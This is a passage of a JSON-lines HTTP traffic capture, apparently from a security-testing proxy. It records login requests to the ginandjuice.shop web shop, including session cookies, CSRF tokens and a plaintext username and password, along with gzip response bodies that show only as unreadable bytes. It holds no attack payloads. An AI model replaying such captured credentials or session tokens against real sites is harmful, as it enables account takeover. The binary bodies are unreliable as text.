\\ufffdu\\u001fe\\ufffd\\u0001\\u003e\\ufffd\\ufffdO+\\u0004K\\u0002\\ufffdP0\\u0006ucn\\ufffd\\u0004\\ufffd5r*rr\\ufffd\\ufffd]\\ufffd\\ufffd\\ufffd\\ufffdq\\ufffd\\ufffd\\u0026Q\\u001f\\ufffd\\u001c\\ufffd\\ufffd[y\\ufffd\\ufffd$Ѫk\\ufffd\\ufffd\\ufffd\\\\\\ufffd\\ufffdT\\ufffd\\ufffd\\u000e\\ufffd \\u0017\\ufffdU\\ufffdp2!UE\\ufffdC\\ufffd2Y\\ufffd\\u0000\\u003e#|\\u0010\\u0008\\ufffd\\ufffdz\\ufffd\\ufffd\\ufffd梯\\r\\tG\\u0011\\ufffd\\ufffd\\ufffd|\\ufffd;:\\ufffd\\ufffd_\\u0018~)f\\u001f\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdwrL\\ufffd]\\ufffda\\ufffd6\\u003e\\u001e/\\ufffd\\ufffdiܷߚ\\ufffd\\ufffduT\\ufffdѯ\\ufffd\\ufffd\\u0019\\ufffd\\ufffd\\ufffd^Qݖֵ\\ufffd0\\ufffd\\ufffd2\\ufffd.\\ufffd\\ufffd'\\ufffdZJ3\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd!\\ufffd]\\ufffd.\\ufffd)x\\ufffdh\\ufffd\\ufffd\\\"\\ufffd\\u0018\\ufffdWF\\ufffd\\u0007\\ufffd\\ufffd\\\\=Ԟ\\ufffdw\\ufffd\\u001dbR\\u003e\\u0013\\u0003d4\\ufffd!E\\u001e=\\ufffd\\t\\ufffdt\\ufffdt$(UByܝ9\\u0007\\ufffd\\ufffd\\ufffd\\ufffdnx͛\\ufffd\\ufffd\\ufffd\\ufffdJ\\ufffd8\\ufffdZ\\u001cgj\\u0015\\u00031HA\\ufffd(x\\u0004R\\ufffd\\ufffd\\ufffd\\ufffdn`\\t]\\ufffd֗P\\u000b\\rS\\ufffd\\u0017\\u0003T\\ufffd\\ufffdg\\ufffdȚn\\u001aV\\u0007\\ufffd\\ufffdD.D\\ufffdOΆ\\ufffd\\u001aS\\ufffdr\\ufffd]\\ufffd~k\\ufffd=X\\ufffd\\ufffdq\\ufffd\\ufffd\\u0012\\ufffd?*\\ufffd\\ufffd^\\ufffd^\\ufffd\\ufffd,\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0013(\\ufffdQ@ \\ufffd\\u0011\\u0013U4\\ufffdp\\ufffd\\\\?\\ufffd{\\u0008\\ufffd繞u\\ufffdA\\ufffdUuփ\\ufffd\\ufffd\\ufffd=\\ufffd3\\ufffd\\ufffdR\\ufffd\\\"/\\u0017\\ufffd\\ufffd7\\ufffd]\\ufffd\\ufffd\\ufffd\\u0001\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u001e\\u001f\\ufffd\\ufffd% \\\\Y\\u0004t\\ufffd\\ufffd\\ufffd\\u0001'ۯ\\ufffd\\ufffd8mu\\ufffd\\ufffd֠\\ufffd\\ufffdi-H\\ufffd\\ufffd\\ufffd=ʒ\\ufffd\\ufffd\\ufffddW\\ufffd\\ufffdX\\u0026E\\u00087z\\ufffd\\ufffd\\ufffdҧ\\ufffd\\ufffdO\\ufffd__\\ufffd\\ufffdO\\ufffd\\ufffd\\ufffd\\ufffd{\\ufffd\\ufffd\\u0016a\\ufffd\\ufffd\\ufffd\\u0018v\\u0014\\ufffdַLmj\\ufffd\\ufffd\\ufffd]\\ufffdB2\\u0012Q9\\ufffd\\u0001R\\ufffd\\ufffd\\u001f\\ufffd}9\\ufffdo\\u001b\\u001d\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 1793\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:26 GMT\\r\\nSet-Cookie: AWSALB=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:30+05:30\",\"url\":\"https://ginandjuice.shop/login\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Cache-Control\":\"max-age=0\",\"Connection\":\"close\",\"Content-Length\":\"53\",\"Content-Type\":\"application/x-www-form-urlencoded\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx; AWSALBCORS=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx\",\"Origin\":\"https://ginandjuice.shop\",\"Referer\":\"https://ginandjuice.shop/login\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"POST\",\"path\":\"/login\",\"scheme\":\"https\"},\"body\":\"csrf=GhyXet8wACfYUo1chNYuFPbOCI36SVSj\\u0026username=carlos\",\"raw\":\"POST /login HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nCache-Control: max-age=0\\r\\nConnection: close\\r\\nContent-Length: 53\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx; AWSALBCORS=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx\\r\\nOrigin: https://ginandjuice.shop\\r\\nReferer: https://ginandjuice.shop/login\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"1877\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:30 GMT\",\"Set-Cookie\":\"AWSALB=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI; Expires=Thu, 14 Sep 2023 15:34:30 GMT; Path=/, AWSALBCORS=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI; Expires=Thu, 14 Sep 2023 15:34:30 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdY\\ufffdn\\ufffd6\\u0014\\ufffdߧ\\ufffd4\\ufffdN\\ufffdʪ\\ufffdl\\ufffd\\u0010\\ufffd\\ufffdzK/i\\u00134-\\ufffd\\ufffdOA\\ufffd\\ufffdŔ\\\"U\\ufffd\\ufffd\\ufffdG\\ufffdk\\ufffd\\ufffdvHʊlK\\ufffd\\ufffd\\u000b\\ufffd\\u001f5\\ufffd\\ufffd\\u003c\\u003c\\ufffdxxx\\ufffd\\ufffd\\ufffd\\ufffd'\\ufffd\\ufffd\\ufffd\\ufffd}\\ufffd\\u0014E:\\ufffd\\ufffd{#\\ufffd\\u0007\\ufffdg\\u0014QL\\ufffdW;\\ufffdL|FQJg\\ufffd \\ufffdJfiHU\\ufffd\\ufffd԰\\ufffd4\\u0008\\ufffd\\nT\\ufffd\\ufffdk\\ufffd\\ufffd\\u0012\\ufffd@@)\\ufffdc\\ufffdsNUD\\ufffdn\\u00033\\u0010\\u0000\\ufffd\\ufffd\\u0001\\u0026\\ufffd\\ufffd\\u0001b\\ufffd1\\u00128\\ufffdco\\ufffd\\ufffd2\\ufffd\\ufffd\\ufffdP(\\ufffd\\ufffdB\\ufffd\\ufffd%#:\\u001a\\u0013\\ufffd`!\\ufffd\\ufffd\\ufffd\\u0001\\ufffd\\u0014M}\\ufffd\\u0010v\\ufffdt,\\ufffdWASa\\ufffd\\u0012\\ufffdT\\u001a\\ufffd\\ufffd\\ufffd@7\\n\\u00068\\ufffd}@\\ufffd\\\\\\u00261\\ufffd\\ufffdo\\ufffd7\\u0019\\u0005nEw\\u0008\\ufffd\\ufffdx\\u000f\\u0018\\ufffd'p2Moup\\ufffd\\u0017\\ufffdQ\\ufffd:t,\\ufffd\\u0019\\ufffd駁\\ufffd\\ufffd4\\ufffdj\\ufffd9\\ufffd\\\\\\ufffd9\\u0013\\ufffdG\\ufffd\\ufffd\\ufffd\\u003e\\ufffd\\ufffd3\\ufffd2\\u0003\\u0005\\ufffd\\ufffdH\\u0026\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000f\\ufffd\\ufffd~4\\ufffd$Gb\\ufffd\\ufffd$\\ufffd \\u0012\\ufffd@\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdW4\\ufffd\\ufffdBCͤ@!\\ufffdJ\\ufffd=g(\\u003e\\ufffdN\\u003c\\ufffd\\ufffdX`\\u0017%\\ufffd4\\ufffdy\\u00171\\ufffd\\ufffd\\u0007#B9\\ufffd\\ufffd\\u0014k\\ufffds\\ufffdȸ\\ufffd\\ufffdp\\ufffdhI\\ufffd\\u0008d\\ufffd,\\ufffdvW؇\\ufffd\\u0005%h\\u0026S\\ufffd\\ufffd\\ufffdL\\ufffd\\r\\ufffd}1U\\ufffd\\ufffdj!\\ufffdL\\ufffd\\ufffdd\\ufffd\\u00024կ\\u0015`\\ufffd\\u0012\\\\\\u001eŘ\\ufffd\\ufffd\\ufffd\\ufffd%X\\u0015\\ufffd\\u0026M\\ufffd\\ufffd\\t\\\"\\ufffd\\ufffdO\\ufffdn\\u0007h\\ufffd\\u0006\\ufffd\\ufffd\\\\\\ufffd\\ufffd\\u000e\\ufffdfc\\ufffd\\ufffd\\ufffd\\u001e\\ufffd\\ufffd\\ufffd4PEu\\ufffdxmq\\ufffd\\ufffd=6C\\u0007խ\\ufffd\\ufffdGսֆG\\ufffd\\ufffd\\ufffdC\\ufffde\\ufffd\\ufffd1\\ufffdZN\\u000fz\\u0017G\\u001f\\u0007\\ufffd\\ufffd\\ufffdy\\u0018?c\\ufffd\\ufffdmB\\ufffd9\\u000f\\ufffd\\ufffdq\\ufffd\\ufffdܕSld\\ufffd{\\ufffd\\ufffdV\\ufffd\\u0006gh\\ufffd6\\ufffd\\ufffd\\u001d\\ufffdЎ\\ufffd\\ufffdU\\ufffdQ\\u000ev\\ufffd\\ufffd{@Z\\\"\\u001dQ{u\\ufffd\\ufffdM\\ufffd\\ufffdk\\ufffd%ذ\\u0017`tV\\ufffd\\ufffd\\u0016{\\ufffdl\\u001fٍz5\\ufffdƼ\\u001d\\ufffd\\ufffd)\\ufffd\\u0001[\\ufffd]\\ufffd\\ufffd\\u000bc\\ufffd\\ufffd\\u0006\\ufffd\\u0006N\\ufffd\\ufffd\\ufffds9\\ufffd\\ufffd\\ufffd@o\\ufffd\\rp\\ufffd\\ufffd\\u001d\\ufffduX\\ufffdE\\u003e\\ufffdF\\ufffd\\ufffdmJ\\ufffd\\ufffd\\ufffdL\\u001bx\\ufffd\\ufffdڄ_8\\ufffd1v\\ufffd\\ufffd\\ufffd\\ufffd8\\ufffdݨ\\ufffdq\\ufffd 9kg\\ufffd\\ufffdx\\ufffd\\ufffd4\\ufffd\\u001a\\ufffd\\ufffdS\\ufffd\\u0017\\ufffdeb\\ufffd\\u0013XF*I\\u0016jը\\ufffd5\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd.\\ufffdԊ\\ufffd\\u0008~\\ufffd\\ufffd\\ufffd\\ufffdS\\ufffdiori\\ufffdH\\ufffd4\\ufffdN\\ufffd\\ufffd\\ufffd\\t\\ufffd\\u000fJA~\\ufffd\\u0011\\ufffd0\\ufffd\\ufffd\\ufffd\\u003e\\ufffd\\ufffd\\ufffd\\tV\\ufffd\\ufffd\\ufffdTO\\ufffd\\ufffd\\u0005\\u0003\\ufffdI\\ufffd\\ufffdOF\\u0010\\ufffdV\\ufffdwy\\u0015L}n\\ufffd\\u0000Ɗ\\ufffd\\u000fܿV\\ufffdM\\ufffd\\ufffd\\ufffd\\u0026\\ufffd\\u001a\\ufffd.z.\\ufffdԍq\\ufffd\\ufffdo\\ufffda\\ufffd.\\ufffd\\u0007\\ufffd:\\u00001\\ufffdYb\\ufffd\\ufffd\\ufffd|\\ufffdدsT|\\ufffdA\\ufffd\\ufffd\\u001byw\\ufffd\\ufffd\\ufffd\\ufffd\\u0010\\ufffd\\ufffdemD\\ufffd\\ufffd\\ufffd\\u0018{5)pP\\ufffd\\ufffdk\\ufffdZӽC\\ufffd\\ufffdn;\\u001f\\ufffd\\u0012\\u0001|-\\ufffdsNa7\\ufffdFM\\ufffd|nJEw\\ufffd\\ufffd0\\ufffd\\u0003\\ufffd\\ufffd[\\ufffd\\ufffd(hL\\ufffd\\r)\\ufffd\\ufffd\\\\SXlp\\ufffd\\ufffd\\u000c\\u0015\\ufffd\\ufffdI\\ufffd)\\ufffd[\\ufffd\\ufffd\\u0018\\ufffdv\\ufffd\\ufffd\\ufffdJ\\ufffd\\ufffdT\\ufffd\\ufffd|P\\u0003\\ufffd\\t\\\\oC\\ufffd\\u001c\\ufffd\\ufffd[j\\\\j6+\\n\\ufffd\\\"\\u00167-\\u000c\\ufffdt\\u0013\\ufffd\\ufffdu\\u000f\\ufffd6h`\\ufffd\\ufffd\\ufffd\\ufffd8\\ufffd\\u0010\\ufffd\\u000bɬ~|K\\ufffdN.\\ufffdd|uy\\ufffd\\u000e\\ufffd\\ufffd@\\ufffd1\\ufffd\\ufffdo\\u000b\\ufffd\\ufffd\\u0004jƔ~\\ufffdX\\nu\\ufffd\\ufffd\\ufffd\\\"F\\u0008\\u0005\\u0017r\\ufffda\\ufffdҙ\\ufffd\\u0016\\ufffdg0\\ufffd8%ǯ\\u0014;_\\u003c[\\ufffd\\ufffd\\ufffd\\ufffd,\\u000c\\ufffd/\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd/NO\\ufffd̻\\ufffd\\ufffd\\ufffdi\\u0010\\ufffdގ\\u001f\\ufffd\\ufffd\\ufffd\\ufffdF\\ufffd\\u0013Sῇ\\ufffd\\ufffdl\\ufffdmH\\ufffd\\u0004\\ufffd\\ufffdRV\\ufffd\\ufffd0@+\\u0011WĶ\\ufffd7\\ufffd\\ufffd\\ufffd\\ufffd\\u0002\\ufffdh\\ufffd\\te}\\u000f\\u001c\\ufffdK\\ufffd;k]Hd\\ufffd\\ufffd\\ufffdtN\\ufffdSN\\ufffd\\ufffdG\\ufffd\\u000br\\ufffd[\\u0013\\ufffdwط\\ufffd\\u0004\\ufffd\\u0015}7\\ufffdv;Z\\u003c\\ufffd\\ufffd\\ufffd\\ufffd\\u0015\\ufffd\\ufffdR\\ufffdd\\u0014L'(\\ufffdLo5l\\ufffd\\ufffd\\ufffd\\u0000v\\ufffd\\ufffd\\nv\\ufffdv\\ufffd\\ufffd^\\\\FR\\ufffd\\ufffdL\\ufffd\\u0019hD\\ufffdl\\ufffd\\u0012Va\\ufffd\\ufffd\\ufffd\\\"\\ufffdl\\u001a3=A.ۂ\\u001a\\ufffd\\ufffd\\ufffd0e\\ufffd\\ufffd\\ufffd=\\u001bݫ[\\ufffd\\ufffd\\ufffdJ@\\ufffdI\\t\\ufffd\\ufffd\\ufffd)\\ufffd\\ufffd\\ufffd\\ufffdg#Z\\ufffd\\u0005M\\ufffdc\\u001b\\ufffdә\\ufffdY;Z\\ufffd\\ufffd5\\ufffdm\\ufffdw8\\ufffd(\\u001aN\\ufffdPh\\ufffdQ̔{\\u000c\\ufffd\\u001c\\ufffd\\u0008tm\\ufffdlJ\\ufffd\\ufffdK\\ufffdQ\\ufffd\\u001d\\u0010\\ufffd䥄\\ufffd0\\ufffd\\u0026\\ufffd4'KF(\\ne\\u001cg\\ufffd\\ufffd\\u001c\\ufffd\\u00192\\ufffd$X\\u0010tc_GfX@\\ufffd\\u000c\\ufffd\\u0003\\ufffd\\ufffd@oC\\ufffd)\\ufffd\\ufffd\\ufffd\\ufffdRAKl\\ufffd86]\\ufffd\\ufffd\\u0006\\ufffd`\\ufffd\\u003c\\\\Q\\ufffd(\\ufffdB\\ufffd9T\\ufffd\\ufffd\\r\\ufffd06ȱLi\\ufffdw]W\\ufffd\\ufffd{Ro\\ufffdŧ\\u003c\\ufffd\\u001b\\ufffd\\ufffdoT\\ufffd\\ufffd\\ufffd\\ufffdV\\ufffd\\ufffd\\ufffdf\\ufffdֻS}\\u001a{\\ufffd@\\ufffd\\ufffd\\u0017\\ufffd\\ufffdK\\ufffd\\ufffd\\u0005\\ufffd\\u000cȫR\\ufffd\\u000e\\ufffd+\\ufffd3\\ufffd\\ufffdǝ\\ufffd\\ufffd\\ufffdk.\\ufffdԒ0!pڶ\\ufffd`\\ufffd\\ufffd|\\ufffds\\ufffd\\ufffd\\ufffd\\u0017\\ufffd$y{\\ufffd\\ufffd\\ufffd\\u0026\\ufffd\\ufffd񇷯\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd'o\\ufffd\\ufffd[s\\ufffd\\ufffdJ\\ufffd:\\ufffd\\ufffdJ3]\\u003c\\ufffd\\ufffd+\\ufffd\\ufffd2\\ufffd\\ufffd\\u0017\\u0006\\ufffdn\\u0002\\ufffd\\ufffdQڄ\\\\+\\u0018\\ufffd\\ufffdf\\ufffdn9a\\u00089\\ufffd\\ufffd\\ufffdsJ\\u0011r\\u0016~.ȏ-\\ufffd\\u0013+\\ufffd\\u0001x\\ufffdЇ\\ufffd\\ufffd\\ufffdN\\ufffdCL\\u0026f\\ufffd\\ufffd\\ufffdv5\\u0014 Ç\\ufffd\\ufffd\\ufffdΐ\\ufffd\\u0004\\ufffd\\ufffd\\ufffd\\ufffd7\\ufffd%\\ufffdv7\\ufffdx\\ufffd\\ufffd\\\":*\\ufffd\\u0026\\ufffd\\ufffdӣ\\ufffdp\\ufffd\\ufffdS\\u000c\\ufffd \\r\\ufffd\\\"\\u0013\\ufffdâ\\ufffd=`\\ufffd\\u001bXA\\u0017\\ufffd\\ufffd%\\ufffdB\\ufffd\\ufffd\\ufffd\\ufffd\\u0000\\ufffdm\\ufffd\\u00157\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0001(\\ufffdć\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdYe\\n\\u0015n\\ufffd+\\ufffdo\\ufffd\\ufffd\\u0007k2\\ufffd+Ix\\u000e\\ufffd5S\\ufffdmo\\ufffd\\u0006\\ufffd[\\ufffdy\\ufffdN\\ufffd\\ufffd\\ufffdchoДB4\\ufffd6\\ufffd\\u0018\\ufffd\\ufffd\\ufffddN\\ufffdݱv\\u000f\\ufffd\\ufffd\\u003c7p\\ufffd\\ufffd\\ufffd)\\ufffd\\ufffdzpu\\ufffd\\u0015Em\\u0026X]j\\ufffdߡ\\ufffd\\ufffd\\ufffd\\ufffdo\\ufffd\\ufffd\\ufffdo\\u0000\\u0026\\ufffd\\ufffd\\ufffd\\ufffd\\u000f\\ufffdG\\ufffd\\n\\u0010\\ufffd\\u001d\\u0002\\ufffdФ\\ufffd\\ufffdd\\ufffd\\ufffdP\\r\\ufffd-N\\ufffd\\ufffdx5\\ufffd9\\ufffd\\u0005\\t\\ufffd~\\ufffdGY\\ufffd\\ufffd|\\ufffd\\ufffdUeT\\ufffd)\\u0019^\\ufffd\\ufffdW\\ufffd)\\ufffd\\ufffd\\u0003\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0003luv\\ufffd\\u0017\\ufffd\\ufffd\\u0016a\\ufffdIcc\\ufffdP\\ufffd:߲\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdvU\\n\\ufffdH\\ufffd|r\\u000fR\\ufffd\\ufffd\\u000f\\ufffdZ\\ufffd\\ufffday\\u001e\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 1877\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:30 GMT\\r\\nSet-Cookie: AWSALB=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI; Expires=Thu, 14 Sep 2023 15:34:30 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI; Expires=Thu, 14 Sep 2023 15:34:30 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:33+05:30\",\"url\":\"https://ginandjuice.shop/login\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Cache-Control\":\"max-age=0\",\"Connection\":\"close\",\"Content-Length\":\"70\",\"Content-Type\":\"application/x-www-form-urlencoded\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI; AWSALBCORS=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI\",\"Origin\":\"https://ginandjuice.shop\",\"Referer\":\"https://ginandjuice.shop/login\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"POST\",\"path\":\"/login\",\"scheme\":\"https\"},\"body\":\"csrf=gW8d4KsiGvFwrnUHucc4OumZ28lv879y\\u0026username=carlos\\u0026password=hunter2\",\"raw\":\"POST /login HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nCache-Control: max-age=0\\r\\nConnection: close\\r\\nContent-Length: 70\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI; AWSALBCORS=f3uSeSLqZLjyLkgMubDnyLSLN4l5RHxJl2qNJIirhEpxbJNK9Q153T7UIWBXqoLUqADaTkYpLyY+e0ZITkQH2RbSlO2SL8pWPSA9bmVjvoTc37kvVwsUU6sGvbkI\\r\\nOrigin: https://ginandjuice.shop\\r\\nReferer: https://ginandjuice.shop/login\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"0\",\"Date\":\"Thu, 07 Sep 2023 15:34:33 GMT\",\"Location\":\"/my-account\",\"Set-Cookie\":\"AWSALB=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; Expires=Thu, 14 Sep 2023 15:34:33 GMT; Path=/, AWSALBCORS=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; Expires=Thu, 14 Sep 2023 15:34:33 GMT; Path=/; SameSite=None; Secure, 